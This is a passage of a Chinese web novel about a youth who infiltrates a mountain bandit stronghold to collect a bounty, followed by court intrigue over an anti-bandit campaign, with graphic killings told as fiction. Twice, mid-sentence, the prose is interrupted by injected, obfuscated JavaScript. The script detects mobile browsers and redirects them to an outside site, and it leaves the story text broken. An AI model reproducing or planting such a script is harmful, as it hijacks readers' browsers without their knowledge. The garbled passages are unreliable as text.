“杨大哥,白天过完了,而你不巧…也真遇上‘熊瞎子’了……” 63. 上山 猪油蒙了心? 阴沟翻了船? 汉子瞪着眼睛一步一退,诧异紧张的险些喘不上气来,他下意识转身撒腿就跑,可背后那人手中的东西比他跑的更快。 “咚!” 石头吻上后颈。 “咚!” 面颊紧贴大地。 刚刚还活蹦乱跳的汉子,闷哼一声后不省人事,他扑倒在地时脑袋恰好将一摊泥水溅起,夜幕降临、天色昏暗,也不知那浑浊污泥中是否融进他的血迹。 不费吹灰之力就放倒了一个成年汉子,看着年岁不大的初小哥神色平静的从趴在地上那人身上的竹筐中摸出一个小包,用手掂量了一下后塞进了自己胸前褡裢里。 “啪啪。” 前头繁密的树林里忽然钻出两个提刀大汉,他们拍着手朝这儿一站一趴的两个人走来,其中一个满脸络腮胡的男人将手指横搁到趴在泥坑边的汉子鼻下,纳闷,“这就没气了?就被那块破石头砸了一下?” “只怪他自己倒霉。” 杀了人还敢这么理直气壮,那络腮胡向他挥了挥自己手中的大刀,冷笑,“那遇着我哥俩,你也自认倒霉罢。” “你这话是什么意思?” 一般孩子被凶神恶煞之人用刀这么指着,早开始哭爹喊娘了,可眼前这位半大小子,从始至终只有一脸的不耐烦,络腮胡来了兴趣,将手中大刀插在脚边拄着,说,“茶摊这头‘羊’原是我哥俩先盯上的,没成想叫你半路截了胡,这到嘴边的肉被抢了,搁谁身上也不好受罢,小兄弟,你说呢。” 初小兄弟冷笑一声,“咱们各做各的生意,先到先得,凭甚你说先盯上的‘羊’,我就得抬手让给你?” “嘿!你这小娃娃!竟还敢同我谈‘生意’二字!”络腮胡不知被踩中什么痛脚,怒道,“你与这汉子是我和我大哥预备送给虔来山寨子当家的见面礼的,本来说好你俩,我和大哥一人一个,可如今你弄死一个,只剩你这么个‘单数’实在不吉利,我们的生意都叫你搅黄了,你不跪地求饶也就罢了,居然还如此嚣张,臭小子,快给我纳命来!” 络腮胡脚踢刀背,挥刀迎着初小哥的面门砍去,刀风迎面袭来,那小哥也不畏惧,他敏捷地侧身避过,脚下步子一寸也没有凌乱,而络腮胡使了全身力气却扑了个空,举着大刀向前踉跄了好几步才稳住,他转身盯着害自己险些跌倒的小子,在手心啐了一口,然后再一次高举着大刀朝小哥左右劈去。 几招过去,络腮胡累的满头大汗、气喘吁吁,手中大刀也不曾挨着那位小哥分毫,像是心疼他这般拼命却一无所获似的,小哥温声道,“胡子哥,你要是累了,咱就坐下歇歇,天离大亮还早着,我也不着急赶路。” 这话乍听之下十分有礼,可结合如此场景,倒气的络腮胡更加火冒三丈,他‘啊呀呀’吼叫,预备与这斯决一死战,然他刚举起手中兵器,便觉得自己脖颈一凉、浑身动弹不得,不过瞬间,络腮胡竟亲眼看着自己的身子重重躺在自己眼前。 一阵轻飘飘的浮土低低的升起又平静地落下后,一个有头有身的活人,变成了两节散落一地,此情此景虽然出乎意料,但初小哥仍然不动声色,他抬头看向刀刃上还在滴血的大眼哥,却只见他满脸歉意的笑说,“此人鲁莽聒噪,空有一身蛮力,若是方才得罪小哥了,我替他向你赔个不是。” 小哥觉得他此言莫名其妙,“人都没了,有什么好计较的,再说你二人非亲非故,他的不是,何须由你来赔。” 大眼哥有些意外,问,“你如何得知我俩非亲非故?” 你眼都不眨的砍了他,还能将这话问出口? 初小哥腹诽完,默默翻了个白眼,回说,“他叫你大哥,可连茶钱都不舍得给你掏,我没见过如此生疏的兄弟。” 淡淡说完,他朝大眼哥抱拳,又道,“今日在这荒山里遇上也算缘分,小弟年轻不懂事,若是冲撞了大哥,还请您不要与我计较,天色已暗,大哥您自便,小弟先行一步。” 看这小兄弟朝自己拱了拱手后抬腿就走,大眼哥连忙追上他,“这虔来山脉绵延不绝,没有几个日夜是走不出去的,既然你说相逢是缘,那你我这一路上做个伴儿,总好过独自上路寂寞罢。” 初兄弟扭头笑了笑,“上一个与你我路上做伴儿的可都还在后面趴着呢,大哥要是惦记什么,直管说出来,小弟可不是那般小气的人。” 自茶摊初见,大眼哥便觉得这个男娃娃长得俊俏,如此皮囊倒可惜不是个女娇娘,此时月已升至当空,白晃晃的光芒迎面照在他带笑的眉眼上让他越发显得活色生香。 大眼哥按捺住心中躁动,“小兄弟这是什么话,我还能占你的便宜不成,你只管将心放在肚子里罢。” 这话说的他自己都不信,大眼哥没听见身旁人的客套回话,和善又问,“不知小兄弟去那兴民城的红光寺是为求什么的?” “自然是求财。” “方才我见你身手不凡,像是练家子,人也机灵稳重会说话,你这样有本事的人,何愁没有银子花。” “让大哥见笑了,皆是生活所迫。” “同是苦命人,谈什么见笑不见笑的,你既叫我大哥,那大哥觉得求财这事儿…与其求神拜佛,不如依靠自已。” 大眼哥话中有话,初小哥偏头看他,点头,“你这话说的有理,小弟定会在心中谨记。” 果真还是个孩子,大眼哥被他逗乐,随口一句,“你方才杀了人。” 他唇角扬着,可脸上里却没有丝毫笑意,初小哥驻足看向他,“你不也是。” “我杀得的是朝廷嫌犯,若我不嫌麻烦,提了他的人头或许还能去县衙里赚些赏银,你就不一样了,你……砸死的可是位平头老百姓,等出了这虔来山,你说会不会有甩着镣铐的衙役,在路上等着你呢。” 现下虽说是夏季,可行走在夜晚人迹罕见的山间,人多少还是觉得有些凉飕飕,而身旁之人这句赤裸裸的威胁,就更是在这些凉飕飕之中增添了许多阴森。 刚走过蜿蜒在山间的小路,不远处是一片深不见底的茂密树林,林中似有嶙峋巨石,也有如人影一般晃动的枝叶,初小哥瞥了树林一眼,问,“你想让我做什么?” “哈哈哈,你果真是个聪明的。”大眼哥笑着一把揽住初小哥的肩膀,而后顺着他的手臂一直滑到腰间,“肩窄细腰,若你说自己其实是位女子,恐怕我也会深信不疑。” 大眼哥一边说着,手掌一边在他后腰游走,初小哥站着不动,嘲讽道,“没想到你还好这一口。” 他不躲,于是大眼哥越发猖狂,竟丢了刀,用双手将初小哥紧紧环住,垂涎道,“什么这一口那一口,只要吃的舒心,我牛三口口都要尝尽!” 大眼哥抱着小鸡仔似的初小哥噘着嘴就要亲过去,可没想到下一瞬就‘嗷呜’一声捂着自己的裆部一蹦三尺高。 缓了好久,他才恶狠狠看着屈膝猛顶自己的小子,骂道,“跟了爷是你的福分,你这厮却这般不识好歹,也不睁眼瞧瞧这是谁的地盘,若真落到那帮土匪手里,你以为自己还能干干净净的出来?不如就……从了爷吧!你想求什么爷都能给你!” 大眼哥不死心,还要来扑,初小哥飞快转身就往树林里跑,林中枝叶晃了两下,就再没有他的身影,大眼哥追过来时,口中的污言秽语仍旧不停,他掀开挡在前面的树枝、拨开拦路的杂草,走过一方巨石后,眼前倏地落入一片漆黑,浑身也好像被什么绳索之类的东西束缚,他刚要开口喊叫,脑袋又重重挨了一个闷棍,一时间眼冒金星、天昏地暗,大眼哥身子一歪,整个人闷声倒了地。 四周顿时安静下来,仗着瘦弱猫在一处坑洼中的初小哥听见敲打声却不见有人,探着脑袋慢慢直起身子,可他人还未站起来,眼前也变成一片黑暗,他意识到自己是叫人扣了麻袋,腿窝立刻一弯,顺势平平稳稳、安安静静地躺倒在地上。 举着木棍还没有来得及下手的蒙面大汉,疑惑问自己的同伴,“老子还没下手呢,这人怎么就晕了?” “大概是被这玩意儿吓得。”另一蒙面大汉踹了踹自己脚下这位喜好男色的‘肥羊’,叮嘱,“别说废话了,尽快将他们二人带上山。” “嗯!” ———— 虔来山某山头某土匪山寨灯火通明。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888112|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单腿屈膝踏在一张巨大虎皮宝座的独眼男子,猛灌了一碗烈酒,醉眼惺忪的打完一个酒嗝后正预备回去休息,忽见一个小喽啰快步跑进来,拱手说,“大当家的,伍二哥和楚六哥从山下带回两只‘羊’,他们此时就在堂外候着,您要见见吗?” “让他们进来。” “是!” 小喽啰原地转身朝堂门外挥挥手,立即就有两个大汉一人拖着一个扭动挣扎的麻袋包进来。 大当家靠在宝座,脸上的醉意未退,“这是怎么回事?” 楚六抢先上前一步,抱拳回道,“我与伍二在山下埋伏时,见此二人形迹可疑,不像寻常过路人,听他们争执才晓得,这两人手上都沾着人命,他们大半夜的游荡在虔来山中,多半是来投奔咱的,于是小的们便自作主张,请这两位上山了。” 近来,虔来山各山寨之间互相看不顺眼,动辄打打杀杀,大小争斗亦是不断,而他们这个山头最近遇着点儿难处,人丁不旺,缺人得很,除了抢劫钱粮,他们也做起了拦路抢人的买卖,而手上有人命的汉子,在土匪预备役中可是香饽饽一般的存在。 大当家脸上的醉意消散了一些,他看着在麻袋里蛄蛹的两人,放下踩在宝座的脚,佯呵,“你们就是这么请人的?快快将两位好汉恭敬放出来!” “是!” 绳结一松,麻袋口便有烛光涌进,大眼哥在麻袋里竖着耳朵早听见他们对话,明白自己已顺利进了匪窝,喜悦的刚钻出麻袋就‘扑通’跪倒在宝座上的大当家面前,高喊,“小的牛三仰慕大当家德行已久,今日特来入伙,还请大当家应允!” 听见如此恭维,大当家脸上也不见得意之色,只冷冷问,“你仰慕我已久,那你可知我这山寨何名?我的名号又是甚?” 虔来山大小山寨数不胜数,大眼哥落草不过是为了混口饭吃,才腆着脸凑近乎那么说的,谁晓得这山寨何名?这大当家的名号又是甚了。 大眼哥支支吾吾说不上来,索性闭口不答,那大当家也不恼火又将目光投在盘腿坐在麻袋上的白净少年身上,问,“他是仰慕我才来的,你又是为了什么?” 少年抬眼打量完堂内四周,说,“我原本打算去兴民城的,可没想到半路碰上了这个祸害,于是改了自己的打算。” “哦?”大当家来了兴趣,问,“那你现下打算做什么?” 少年还没说话,大眼哥先开口截了他的话头,“大当家的,这个!这个俊俏的小郎君是小的专门给您带来的大礼,您甭看他长得瘦弱又是个男娃,可要是扒开衣裳瞧,他身上除了比女子多个东西,其他与姑娘家比起来当真是只强不弱啊,小的替您摸过了,这郎君肩背纤细,那小腰更是盈盈一握,实在是难得一见的尤物啊,大当家,您……” 他话还没有说完,喉咙就出不了声,直到脑袋滚在自己的膝边,大眼哥才想起原来方才被他以此法削掉脑袋的络腮胡小弟死前还能看的这么清晰,他转动着眼珠,寻见了那位让自己身首异处的少年郎君。 少年手握从喽啰腰间抽出来的坠缨大刀,居高临下的冷眼与涌血的人头对望,站在他们身旁的伍二与楚六连同座上久经风霜的大当家都被此情此景震住了,他们瞠目结舌着面面相觑,一直到那跪在地上缺了脑袋的身子扑倒在地才反应过来。 楚六喝道,“你这是作甚!” 他好不容易才掳回愿意入伙的好汉,怎的就这么说没就没了! 堂上的大当家到底是见过大场面的,他定了定心神后,说,“原来这便是你的打算。” 那少年笑了笑不置可否,丢了刀,从怀中掏出一张草纸递给旁边喽啰,道,“此人名叫牛三,于数月之前在安南山附近将一家五口灭门,官府通缉令已发,若提供此人踪迹,赏银五十两,若提此人头颅来见,赏银二百两。” 他说着,弯腰提起牛三发髻。 牛三脖颈断面还在滴血,猩红血珠一颗颗落在地板,发出冷冽可怖的声响,活像阎王爷催命时不耐烦轻扣桌面的声音。 堂内几人看着少年唇角若有似无的笑意,实在不确定那位催完命的阎王到底走了没有。 64. 领赏 月上东山,薄如蝉翼的光芒铺天盖地的搭在虔来山每一寸碧叶黄土、嶙峋怪石表面,挂在天边的明月倒映在山上一处泥坑中,宛若制作点心的小贩手中圆滚滚的糖角。 在泥坑污水中有无所顾忌的数十小跳虫,它们争先恐后蹦跳在水面,一副静逸欢快的肆意模样。 有一只像是跳累了,驻足在泥坑旁一块温热粗糙的‘小山’上,‘小山’下方有两个小黑洞,洞中不时传来微微热气,小跳虫想跳进其中一个洞里探探,可是还没动弹,里头缓缓涌出来的热气散尽时整只虫就险些被黑洞吸了进去。 它才刚站稳,那‘小山’忽然抽着动了一下,惊得小跳虫连忙蹦跳着招呼同伴远离这片好不容易寻着的乐土。 鼻尖有飞虫滋扰,趴在泥坑边上的人强忍着没有将喷嚏打出来。 前面不远的树林里除了蝉鸣与蛐蛐声再无其他动静,鼻中的瘙痒与被泥水浸透的腥臭衣领也叫人再难忍耐。 被石头砸中后颈的汉子小心动了动手指,没有察觉到异样才缓缓挣开紧闭已久的双眼。 也不知间歇屏气、一动不动的趴在这里多久,汉子用手掌撑着僵硬地身体跪立起来后,首先摸向自己藏在束脚裤里的小钱袋。 “呼……” 钱都还在。 他抬手抹了一把额上冒出的虚汗。 命也还在。 真是走了大运,就是可惜那位…… “唉……” 千言万语化作一阵后怕与叹息,汉子晓得方才发生过什么,也不敢四处张望,踉跄起身后,捏着竹筐挡着眼睛快步离开此处,避开树林直奔着山外官道跑去。 天微微亮时,从虔来山下来一匹驮着包袱的快马,策马那人在路上遇着一处被野兽撕扯的不见原状的残肢,只是唏嘘一声,又扯着缰绳飞速驶去了。 送携带牛三首级去领赏的姜九出门,楚六回来后打量着正靠在堂内太师椅上假寐的少年,怼了怼站在他身边的伍二,嘀咕,“脚边的血迹还没干透呢这就睡着了?老伍头,你说这男娃娃到底什么来头,年纪瞧着也不大啊,怎么杀个人跟切西瓜一样?” 跨立站着的伍二目不斜视的紧盯少年,说,“不知道。” “大当家让盯着他,你就真这么盯着?果真是块木头!”楚六探头往外四处看了看,确定寨子里的兄弟大多都还没起,才偏头瞅着伍二,得意道,“甭以为大当家说什么你照做什么,就能入了大当家的青眼,要知道,在咱们威虎寨,二当家的位置可都是真刀真枪干出来才能服众的,你才来几个月,而我已经在寨里好几年了,兄弟们一撅屁股我就知道他们憋的什么味儿的屁,木头,听兄弟一句劝吧,现在有香的就吃香的,有辣的就喝辣的,别成天净想一些白日做梦的美事。” 楚六狂妄的下巴都要扬到天上了,可伍二这时瞧见那位少年假寐的双眼在听见楚六说出那句‘在咱们威虎寨’时,忽然不着痕迹的抖动了一下,他心中立即明白,这小子怕是与他们山寨有过一段儿纠葛。 “喂!大木头,老子跟你说话呢!你怎么总是不带理人的啊,不就是会点儿三脚猫功夫么,至于这么傲嘛,真是的,好似谁稀得跟你说话似的……哎?大当家您起了!” “大清早的吵吵什么?” “没什么没什么,小的与伍二开玩笑呢。” 威虎寨独眼大当家被几个小喽啰簇拥着走进忠义堂后,兀自走向虎皮宝座,见他来了,楚六与伍二立即俯首向他行礼,一直闭眼休息的初小哥也舒展着肩膀站起身向座上的大当家看去。 大当家落座前,抬手想示意初小哥不必多礼,可他转身瞧见那少年似乎压根就没有与他行礼的意思,于是扯着嘴角,干笑两声,“坐坐坐,初兄弟,不必……客气。” 初小哥也不见外,撩了衣衫后摆就重又坐下。 此时,堂门外聚集了许多土匪小喽啰,他们昨夜饮完酒便直接回去睡了,故而不晓得夜里发生了什么,直到今早晨时,才听一个老大哥说寨子里来了位心狠手辣的小娃娃,人不大,却敢使刀,刽子手似的将一个大汉脑袋砍下,他不仅敢削人脑袋,还用手捏着那颗血淋淋的人头交予他们的兄弟,说是让拿着下山去找衙门领赏。 他们威虎寨说是土匪窝,可杀人这活儿却并不常干,有些年纪小的,别说杀人,就连杀猪杀羊都不敢看,寨子好不容易来了个活阎王,还是年纪不大的娃娃活阎王,大家都争先恐后想亲眼看看他长得什么模样。 一开始,只有少数几个胆大调皮的敢扒着门框看,直到其中一个寻见坐在堂下那位面容清秀、身形纤弱的少年郎感叹了一句:哎呀,他生得好生俊俏! 自此,所有人都往前挤着,想看看那娃娃到底有多俊俏。 大当家晓得自己这些孩儿爱看新鲜,本不甚在意,可那门外的熙攘声越来越大,看起来一副没见过世面的模样,他咳咳两声后给楚六使了个眼色。 收到大当家的信号,楚六那条看不见的尾巴立刻翘得老高,他张着双臂左右拉住堂门,硬生生将自己的兄弟们拦在门外,噘着嘴驱赶,“去去去,瞎凑什么热闹,要实在闲的就去打几套伍二教的拳去,晌午过后我抽人检查,不会打的,晚上不许吃饭!” 躁动声被挡在门外,大当家终于能听清自己说话的声音,“我的孩儿们不懂规矩,你莫要见怪,对了,你早晨用过饭没有,用不用差人与你取些吃食?” 初小哥:“多谢大当家挂心,这两位大哥已经招待过我了。” “那就好,那就好。” 大概是被昨晚的自己惊着了,大当家这会子说话有些太过客气,初小哥端起手边的茶盏,轻抿了一口,道,“大当家想问我什么,就直接问罢。” 少年眉眼坦荡,饮茶的动作舒展不拘束,独自处在以凶狠闻名的土匪窝儿里也不见丝毫发怵,这份胆魄倒是比一些做过许多年土匪营生的汉子还要强些。 他不扭捏,那自己也无需造作,大当家开门见山,问,“你随身带着牛三的通缉令,可是一路尾随他进虔来山的?” “我随身并不只带他的通缉令。”初小哥从怀里取出一沓黄麻纸,拍在桌上,“这些都是。” 楚六见状感叹了一声,“好家伙,你这也算是吃公粮的吧?” 初小哥:“也不算,就只是路过告示牌时顺手扯下来预备当手纸用的,哪里晓得偏偏就是那位牛三这么倒霉。” 大当家:“这么说,与牛三遇着只是偶然,你的目的地并非是虔来山?” “虔来山是中北有名的土匪窝,我没事上这儿来作甚,不过是想抄个近道去兴民城罢了,没成想闹了这么一出。” 翻过虔来山就是兴民城,穿山而过是要比从官道上走近一些,早些年,有的大商队为了减少人马在路上消耗的成本,大多会提前准备好过路钱以便这些山中爷爷们能顺利将他们放过去,而土匪们也觉得抢了那些货又没用,还不如坐在家门口舒舒服服收钱省心些,两方各取所需、心照不宣、相安无事了很多年,可是最近…… “兴民城近来可不太平,初兄弟去哪儿做什么?” “不太平才好做‘生意’,小弟不似大当家这般家大业大,只能独自前去闯荡。” 大当家了然,“初兄弟年岁不大,却有如此胆识与魄力,我实在好奇家中父母是如何教养出初兄弟这样的俊才?” “大当家谬赞了,小弟长到这么大,还不晓得家中父母长得什么模样。” “可有兄弟姐妹?” “并无。” 哎呀呀,既无父无母家中也没有其他牵挂,身手与胆量又如此非凡,这不是天生做土匪的好苗子么! 大当家按下心中喜悦,冷言又问,“无父母,无立身之本,无兄弟,无扶持之力,我瞧初兄弟你细皮嫩肉、谈吐不凡,实在不像无依无靠之人,不知在去兴民城之前,初兄弟是做什么营生的?” 初小哥顿了一下,才答,“小弟自幼贪图享乐、吃不了苦,打记事起,就混迹在晁都城中,摸过扒手的钱袋,也掀过盗墓者的钱匣,思朝暮的酒席吃过,别人啃过丢在路边的霉馒头也吃过,睡过达官贵人的卧房,也钻过上下漏水的桥洞,要问小弟做什么营生,那可真是多的有些说不过来。” 他有问必答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888113|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,每句话都说在自己的心坎上,大当家至此终于从虎皮宝座缓缓站起,诚心发问,“昨夜初见,我便觉得初兄弟合眼缘,今日一番深谈,更是相见恨晚,初兄弟与其单枪匹马去异乡闯荡何不就留在此处,与我们众弟兄一起吃香喝辣,我齐威虎别的兴许不敢妄言,但唯有不亏待自家兄弟这点不服任何人,若愿‘挂柱’威虎寨,我愿将二当家这个位置双手交付于你……” “二当家?” 齐威虎话音未落,一直侍立在旁的楚六先瞪着眼睛,高声诧异,“大当家的万万不可啊!” 堂内众人目光皆被他吸引过去,齐威虎蹙眉看他,可楚六像是觉察不着似的,只自顾急辩,“若想‘挂柱’咱们威虎寨,须得有保人推举,可他来路不明,仅凭一张巧嘴就唬的您将二当家的位置给他,若真叫他入了伙,指不定哪天就骑到您的脖子上了!再者,这小子心狠手辣,身上又揣了这么多嫌犯通缉令,万一是朝廷派来的细作,要将我们一网打尽可如何是好!” 楚六说的难听,可他的猜疑却不无道理,大当家心里犯了嘀咕,正踱步思忖如何是好时忽听‘啪’的一声,似是茶杯被人猛地砸到地上。 “我心狠手辣?”初小哥砸盏而起后与楚六对峙,吼道,“老子好好在山中赶路,也不知是哪个娘生狗养的东西将我套上麻袋掳到此处,我好心将发财的门路告知你们,什么话都还没说,你们就将我困在这里不让走,一大早问了这许多有的没的,我说要当劳什子二当家了么,你就这样张口乱吠!再满嘴喷粪,那埋牛三的坑旁边就是你的坟了!” “来啊来啊,有本事也将我砍了,你看我门外的兄弟们能让你囫囵个走出这个大门不!” “来就来!当老子不敢么!” 楚六看骂不过他,就要用自己的脑袋去顶初小哥,伍二眼疾手快的将其拦腰抱住,初小哥见他还敢挑衅也撸起袖子朝他们走去,一副不打不是中北人的骇人气势。 眼看两人就要动手,齐威虎赶忙从堂上下来安抚,“都是自家兄弟,万不要因为一些口角之争伤了和气,伍二,快快,快拉开点儿。” 伍二长得五大三粗,毫不费力的扛着楚六走到忠义堂一处角落,大当家的齐威虎虽说也十分强壮,可阻拦初小哥往前冲时还是费了不少力气。 他没想到这小子看着没有二两肉,浑身牛劲却不小。 将两人拉开,齐威虎身上的衣裳都叫汗水浸湿了,他用衣袖抹了一把脑门,温声道,“初兄弟,方才确实是楚六说话不中听,我替他向你赔个不是,可…仔细想想,他的话也是有些道理的,毕竟干咱们这行,最忌通了官府……” 好不容易才与他拉近的关系,又似乎被这场冲突赶回了原点,初小哥也不看大当家的,无所谓道,“什么我们咱们,等从衙门领完赏的喽啰回来,还请大当家的尽快放我下山罢,你们威虎寨太威风了,小弟实在高攀不起。” 他低头拂去自己身上不存在的虚土,好像自己才被什么不干不净的东西碰过似的,齐威虎面露尴尬,楚六见状又蹦起来骂道,“你算什么东西敢这么与我大当家的说话,你小子最好祈祷下山领赏的兄弟带着银子平安回来,不然……我楚六第一个不放过你!” “怎么不放过,要凭你那两排讲话漏风的牙将我吹倒么。” 楚六身量虽然没有伍二高大,可他向来以相貌比伍二周正得意,这当然在他不开口说话的时候是句实话。 楚六的牙缝比寻常人稍稍宽些,但只要他自己平常说话时多注意,旁人也难看出来,但这会儿他着急与初小哥叫骂,一时忘了多注意,这会儿竟被险些干起仗来的对手当面嘲笑,一时气的眼冒金星,他闭眼深呼了口气而后猛地在伍二怀里扭动挣扎,活像一只炸着毛乱拱吼叫的鬣狗。 初小哥撩拨完,兀自坐回座位时还不忘请齐威虎也稍坐等候,丝毫不将距他不远张牙舞爪的楚六放在眼里。 楚六更气了。 他狠狠地看着那个视自己于无物的小子,预备张嘴去咬禁锢着自己的那双手臂时,忽然听堂外有人拍门大喊—— “大当家的,姜九哥回来啦!” 65. 猎物 辖区内有一座书院被土匪劫持并烧毁,死了一位院长,丢了一个学生,底下的人又悄悄禀报说,此案或许与在安南县衙潜伏多年的一个北漠奸细有关。 管辖地有土匪,八成都是从虔来山跑来的。 山里树多草多,有时打雷闪电也会劈树引火的烧上一截,这回大概是烧的有点猛。 死了一两个人,中北人这么多,这些都好说。 可是…… 每日低头不见抬头见的地方,潜进来一个奸细,还是潜伏多年的北漠奸细!这事要是让上面知道,丢了知县一职事小,丢了自己这条老命可如何是好! 庹(tuǒ)尼敖愁的饭都吃不下。 蒙昧失查虽是滔天大罪,但万幸王羌曹办事老练妥帖没有让安南书院那帮人将事情闹大,要真想压,也是能压住的。 怕只怕……北漠人已经将手伸进了中北,世上又没有不透风的墙,这事儿迟早会被人捅出来。 要时时都担惊受怕,那以后的日子可怎么过。 庹尼敖思忖许久,一狠心一咬牙将安南书院遇虔来山土匪一案如实加工一番,写完呈报给了上级,由他们去拍板决断,反正是一条绳上的蚂蚱,要死一起死。 于是这份文书一路从知州传至知府,又从知府呈递给巡抚、总督,直到送进了前一天就从柳思无口中知晓此事的梁崇元手中。 “梁相收到奏章,问朕如何打算,朕这才明白,原来只要上面有人,那天就塌不下来,慕小将军,您说是不是?” 薛渊一口将杯中果酒饮尽,内侍立即手握酒盏低眉弯腰上前满上。 才从冰窖取出来的果酒,清新冰咧、香气宜人,如此佳品,慕峰青却无心品味,他暗暗逼迫自己潇洒自如、行事大方,像那时遇着权贵的慕初一样,可他咀嚼了小皇帝这话好一会儿,才憋出一句,“大兴的天有陛下顶着,哪能塌下来,若有用得上臣的地方,不需陛下作难,臣,自当身先士卒,替您分忧。” 慕峰青这话说的很心虚,可小皇帝倒听得十分开心,临走时眼睛亮晶晶的赏赐了许多奇珍异宝,又万分不舍的亲自将他送出亭外。 受封后第一次面圣就得到了皇帝的青眼,慕峰青美滋滋的回府,想将赏赐呈给父亲,原以为此行能得到父亲的赞赏,不想刚进书房大门,自己就被他迎面甩了两个巴掌。 “你可知你前脚出宫门,后脚还未落地,进府报喜的帖子就险些将我淹没了!” 慕峰青捂着脸,目光疑惑且呆滞,“消息怎么传的这样快?” “这儿是晁都!你当自己还钻在天高皇帝远的边疆之地么?”慕维之恨恨的戳着慕峰青的胸膛,“在朝为官最忌暴露阵营,人人平日里都恨不能戴八张面皮,与百姓说话时用黑脸,与属下说话时用白脸,与各路妖魔打交道时又用猴脸,可你呢,隐忍数月,头一回面圣就将自己交了出去,若此步不慎走错,你往后悔之晚矣!” “他是大兴王朝的皇帝,做臣子的说些奉承话有何不对?” 见他不服,慕维之叹了口气压低自己的声音,“朝中之事瞬息万变,稍有不慎就会被看你不顺眼的人打击消灭,他现今是大兴皇帝,可前有幽王虎视眈眈,后又被梁相一脉牢牢攥在手心,谁敢担保以后他仍能稳稳坐在那个位置?倘若真到你我不愿预见的那天,站在小皇帝一队的你如何自处?你的父亲我又该如何自处?” 闻言,慕峰青在闷热的书房里涌出了一身冷汗,直到此时他才明白小皇帝最后问自己的那句‘是不是’究竟是什么意思。 “爹,我们慕家上面的人到底是谁?那时传进赤霄军的两份军令,莫非就是……” “住口!” 生生让儿子将后半句话吞下,慕维之警告道,“此事既已过去,就让它烂在你的肚子里。当街被斩的两节尸体至今不见踪迹,要清理的军狱院狱卒也下落不明,这一桩两桩难道还不足以让你明白已经有眼睛盯上了我们慕家?你这话真要给有心人听去,恐怕不需慕初,你一人就能将慕家前程断送!” “孩儿知错。”慕峰青有些后怕,“爹,要不我还是回文州城吧,我在晁都城里于您实在没有什么用处。” 他这幅不争气的模样惹得慕维之紧蹙着眉,这要不是亲骨肉他早就…… 慕维之背手走到书桌前,他想起了数月前那支钉在书房门板上的飞镖与那飞镖下的字条,叹了口气,道,“北漠和亲公主死在虔来山、安南书院又被虔来山土匪洗劫烧毁,朝中早有人想将这份剿匪差事推到你的头上,如今事情碰在一起,你又得了小皇帝的青眼,想必带兵虔来山是板上钉钉的事了,这几日你先安心待在府中,静候上面的旨意罢。” 果然,在送走北漠使臣第二日,工部郎中赵无祸又提到了虔来山矿物地形图泄露之事,他拐着弯说图纸泄露、塔鲁阿茶在虔来山意外身亡还有这几日传得沸沸扬扬的安南书院遇匪之类的皆与北漠奸细有关,那些奸细或许也混在虔来山的土匪中也说不定,恰好慕峰青小将军受完封赏后还一直留在晁都,此行也正巧能让慕将军在回边境前再展展身手,还请梁相莫要舍不得,尽早派遣他前去虔来山剿匪。 慕维之晓得这劫儿子注定逃不过,用眼神示意武官列的慕峰青不要搭话后,又借口‘犬子幼年便离都驻守边境,对于虔来山地形并不熟悉,须得再请以一位常年在都中办差的官员协助’之由将兵部尚书王启拉下水。 虔来山的土匪兵部早些年同他们打过交道,黏黏糊糊的跟地里的韭菜似的,割过一波又长一波,实在没完没了。 王启向来不想掺和,于是又将话头传回虔来山矿物地形图上,他说那地形图还没画完,为何不等工部悄摸绘制完探清虚实后再出兵剿匪,到时岂不是一举两得。 而赵无祸立即反驳,中北官员在自家办差事还需偷偷摸摸?慕小将军和兵部若是连这点活儿都干不了不如全都将行李打包好告老还乡罢! 众所周早知,赵无祸与慕维之有私仇,但大家最近才知道,赵无祸看着活生生回来领军功的慕峰青心里窝了一肚子火,他如今拼命想让慕峰青带兵剿匪或许是以为只要慕峰青开始打仗,他在战事中身亡的几率就大一些,让自己闺女瞑目那一天就近一些。 可慕峰青好歹也是为国征战的大将军,他多活一日,便能多震慑边境小贼一日,这赵大人成天巴望着他死,实在是不懂事。 有官员老实,以此言顶了赵无祸一句,却又被他‘要不你去’这四个字顶回来,只得讪讪说‘那我还是觉得慕将军和兵部去更合适。’ 这口锅转来转去又跑到自己手里,王启急的额上直冒汗,此时低头装听不见是不可能了,他咕噜着眼珠子四处求救,除了看见装看不见他的人,还瞧见了从头到尾不发一句的柳思无朝他这里望了一眼—— 他上次举荐谁升官了来着? 灵光乍现那刻,王启眼中一亮,昂首高喊,幽王殿下常年在中北内外求医问药,这山间平原上的路就没有他不知晓的,若能再请幽王出山,慕小将军定能如虎添翼! 王启说的掷地有声,好似事情已经就这么定好了,殿内诸位大臣都颔首说好,一直听大家争执议论的梁相老态的咳嗽了两声后又看了座上的小皇帝一眼,还是下了命慕峰青率兵前往虔来山剿匪的旨意。 又一天,贴成告示的剿匪旨意被人撕下揣走,在安南县衙盯梢的高寒飞檐走壁的回到念弥陀一处寂静的办公之所门外半跪请示。 看他进来,薛霁停了书写,无恩见状,双手捧过他递来的笔搁在架上。 高寒:“主子,牛三的首级已经被送到安南县衙了,属下瞧见是一位从虔来山方向来的男子花钱雇了几个孩子去领赏的。” 